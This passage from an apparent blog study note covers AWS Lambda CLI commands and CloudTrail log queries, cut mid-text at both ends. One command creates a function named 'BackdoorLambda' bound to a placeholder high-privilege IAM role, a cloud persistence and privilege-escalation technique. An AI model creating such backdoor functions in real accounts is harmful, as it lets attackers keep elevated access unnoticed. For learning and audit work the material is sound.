Lambda is running&lt;/strong&gt;, such as:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;context.function_name&lt;/code&gt; → &lt;strong&gt;Lambda function name&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;context.memory_limit_in_mb&lt;/code&gt; → &lt;strong&gt;Allocated memory&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;context.aws_request_id&lt;/code&gt; → &lt;strong&gt;ID of the current request&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;context.get_remaining_time_in_millis()&lt;/code&gt; → &lt;strong&gt;Remaining Lambda execution time&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;context contains the information above. If you want to inspect it, you can also reference it in the function.&lt;/p&gt;&#10;&lt;h3 id="aws-cli-1"&gt;&lt;a href="#aws-cli-1" class="header-anchor"&gt;&lt;/a&gt;AWS CLI&#10;&lt;/h3&gt;&lt;p&gt;First, make sure you have &lt;strong&gt;configured AWS CLI&lt;/strong&gt; correctly with &lt;code&gt;aws configure&lt;/code&gt; and have sufficient permissions.&lt;/p&gt;&#10;&lt;h4 id="listing-all-lambda-functions"&gt;&lt;a href="#listing-all-lambda-functions" class="header-anchor"&gt;&lt;/a&gt;Listing All Lambda Functions&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda list-functions&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;This command returns a list of your Lambda functions.&lt;/strong&gt; You should see &lt;code&gt;MyFirstFunction&lt;/code&gt;.&lt;/p&gt;&#10;&lt;h4 id="getting-lambda-details"&gt;&lt;a href="#getting-lambda-details" class="header-anchor"&gt;&lt;/a&gt;Getting Lambda Details&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda get-function --function-name MyFirstFunction&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;This displays the Lambda code storage location, runtime (Python 3.9), execution role, and other information.&lt;/strong&gt;&#10;&lt;strong&gt;It also returns a link to the ZIP archive containing the code, which you can download.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="invoking-lambda-manually"&gt;&lt;a href="#invoking-lambda-manually" class="header-anchor"&gt;&lt;/a&gt;Invoking Lambda Manually&#10;&lt;/h4&gt;&lt;p&gt;You can trigger Lambda directly from the CLI, which is equivalent to the console&amp;rsquo;s “Test” feature.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda invoke \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --function-name MyFirstFunction \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --payload &amp;#39;{&amp;#34;key1&amp;#34;: &amp;#34;value1&amp;#34;, &amp;#34;key2&amp;#34;: &amp;#34;value2&amp;#34;}&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cli-binary-format raw-in-base64-out \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response.json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda invoke --function-name MyFirstFunction --payload &amp;#34;{\&amp;#34;key1\&amp;#34;: \&amp;#34;value1\&amp;#34;, \&amp;#34;key2\&amp;#34;: \&amp;#34;value2\&amp;#34;}&amp;#34; response.json --cli-binary-format raw-in-base64-out&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;After Lambda finishes, the result is saved to &lt;code&gt;response.json&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;If you use a newer version of AWS CLI v2, add &amp;ndash;cli-binary-format raw-in-base64-out so AWS CLI sends the JSON request body directly without base64 encoding, allowing Lambda to parse it correctly.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;View the result:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat response.json&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;You should see:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;statusCode&amp;#34;: 200,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;body&amp;#34;: &amp;#34;\&amp;#34;Lambda ran successfully\&amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If your Lambda code prints &lt;code&gt;event&lt;/code&gt;, you will also see logs showing how it parsed the input data.&lt;/p&gt;&#10;&lt;h4 id="updating-lambda-code"&gt;&lt;a href="#updating-lambda-code" class="header-anchor"&gt;&lt;/a&gt;Updating Lambda Code&#10;&lt;/h4&gt;&lt;p&gt;Suppose you have a new &lt;code&gt;lambda_function.py&lt;/code&gt;. You can upload it like this:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip function.zip lambda_function.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda update-function-code \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --function-name MyFirstFunction \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --zip-file fileb://function.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This command &lt;strong&gt;updates the Lambda code directly&lt;/strong&gt;, so you do not need to upload it manually through the AWS console.&lt;/p&gt;&#10;&lt;h4 id="updating-lambda-configuration"&gt;&lt;a href="#updating-lambda-configuration" class="header-anchor"&gt;&lt;/a&gt;Updating Lambda Configuration&#10;&lt;/h4&gt;&lt;p&gt;To &lt;strong&gt;change the Lambda runtime, memory, or timeout&lt;/strong&gt;, use:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda update-function-configuration \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --function-name MyFirstFunction \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --memory-size 256 \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --timeout 30&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This changes the Lambda &lt;strong&gt;memory to 256MB and the timeout to 30 seconds&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h4 id="deleting-a-lambda-function"&gt;&lt;a href="#deleting-a-lambda-function" class="header-anchor"&gt;&lt;/a&gt;Deleting a Lambda Function&#10;&lt;/h4&gt;&lt;p&gt;If you no longer need this Lambda function, delete it with:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda delete-function --function-name MyFirstFunction&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Warning: This operation is irreversible!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="writing-and-uploading-lambda-code"&gt;&lt;a href="#writing-and-uploading-lambda-code" class="header-anchor"&gt;&lt;/a&gt;Writing and Uploading Lambda Code&#10;&lt;/h4&gt;&lt;p&gt;I will skip the basics here. More advanced work involves boto3, which I still need to learn.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def lambda_handler&lt;span class="o"&gt;(&lt;/span&gt;event, context&lt;span class="o"&gt;)&lt;/span&gt;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# TODO implement&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;statusCode&amp;#39;&lt;/span&gt;: 200,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;body&amp;#39;&lt;/span&gt;: json.dumps&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Hello from Lambda!&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip &lt;span class="k"&gt;function&lt;/span&gt;.zip lambda_function.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda create-function &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --function-name BackdoorLambda &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --runtime python3.8 &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --role arn:aws:iam::&amp;lt;ACCOUNT_ID&amp;gt;:role/&amp;lt;HIGH_PRIV_ROLE&amp;gt; &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --handler lambda_function.lambda_handler &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --zip-file fileb://function.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="cloudtrail"&gt;&lt;a href="#cloudtrail" class="header-anchor"&gt;&lt;/a&gt;CloudTrail&#10;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;CloudTrail is the audit log for an AWS account.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Records who (users, roles, or services) did what in AWS, such as creating, modifying, or deleting resources.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Records when and from where, including the IP address and geographic location, someone accessed AWS.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Records API calls made through the AWS console, CLI, or SDK.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Put simply, CloudTrail is like the “black box” of an AWS account. It records AWS activity to help troubleshoot problems and spot anomalies.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;It is mainly used for activity auditing, much like a bastion host recording every action performed by operations staff.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Create one and you will be able to see events here. Calls to S3 interfaces, such as running ls or downloading a file, are not recorded unless data events are enabled. As shown below, data events can be enabled, but they cost money, so I am leaving them alone. It is enough for now to understand how to call these APIs. Next, let us look at AWSCLI.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h3 id="aws-cli-2"&gt;&lt;a href="#aws-cli-2" class="header-anchor"&gt;&lt;/a&gt;AWS CLI&#10;&lt;/h3&gt;&lt;h4 id="querying-recent-cloudtrail-events"&gt;&lt;a href="#querying-recent-cloudtrail-events" class="header-anchor"&gt;&lt;/a&gt;Querying Recent CloudTrail Events&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail lookup-events --max-results 10&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This queries the 10 most recent events. By default, it returns &lt;strong&gt;all management events&lt;/strong&gt;, excluding S3 data events.&lt;/p&gt;&#10;&lt;h4 id="querying-by-event-name"&gt;&lt;a href="#querying-by-event-name" class="header-anchor"&gt;&lt;/a&gt;Querying by Event Name&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateBucket&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This filters for all &lt;code&gt;CreateBucket&lt;/code&gt; events, meaning S3 bucket creation operations.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetObject&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This attempts to find S3 file download (&lt;code&gt;GetObject&lt;/code&gt;) events, provided you have &lt;strong&gt;already enabled S3 data events&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h4 id="querying-by-iam-user"&gt;&lt;a href="#querying-by-iam-user" class="header-anchor"&gt;&lt;/a&gt;Querying by IAM User&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail lookup-events --lookup-attributes AttributeKey=Username,AttributeValue=MentalityXt --max-results 10&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This finds the &lt;strong&gt;10 most recent operations by the MentalityXt user&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h4 id="querying-by-resource-name"&gt;&lt;a href="#querying-by-resource-name" class="header-anchor"&gt;&lt;/a&gt;Querying by Resource Name&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail lookup-events --lookup-attributes AttributeKey=ResourceName,AttributeValue=mentalityxttest&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This filters for all events involving the &lt;strong&gt;mentalityxttest S3 bucket&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h4 id="querying-by-time-range"&gt;&lt;a href="#querying-by-time-range" class="header-anchor"&gt;&lt;/a&gt;Querying by Time Range&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail lookup-events --start-time &amp;#34;2025-03-03T00:00:00Z&amp;#34; --end-time &amp;#34;2025-03-03T23:59:59Z&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This queries &lt;strong&gt;all CloudTrail events from March 3, 2025&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h4 id="listing-all-cloudtrail-trails"&gt;&lt;a href="#listing-all-cloudtrail-trails" class="header-anchor"&gt;&lt;/a&gt;Listing All CloudTrail Trails&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail list-trails&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This lists every CloudTrail trail in the AWS account.&lt;/p&gt;&#10;&lt;h4 id="getting-details-about-a-trail"&gt;&lt;a href="#getting-details-about-a-trail" class="header-anchor"&gt;&lt;/a&gt;Getting Details About a Trail&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail 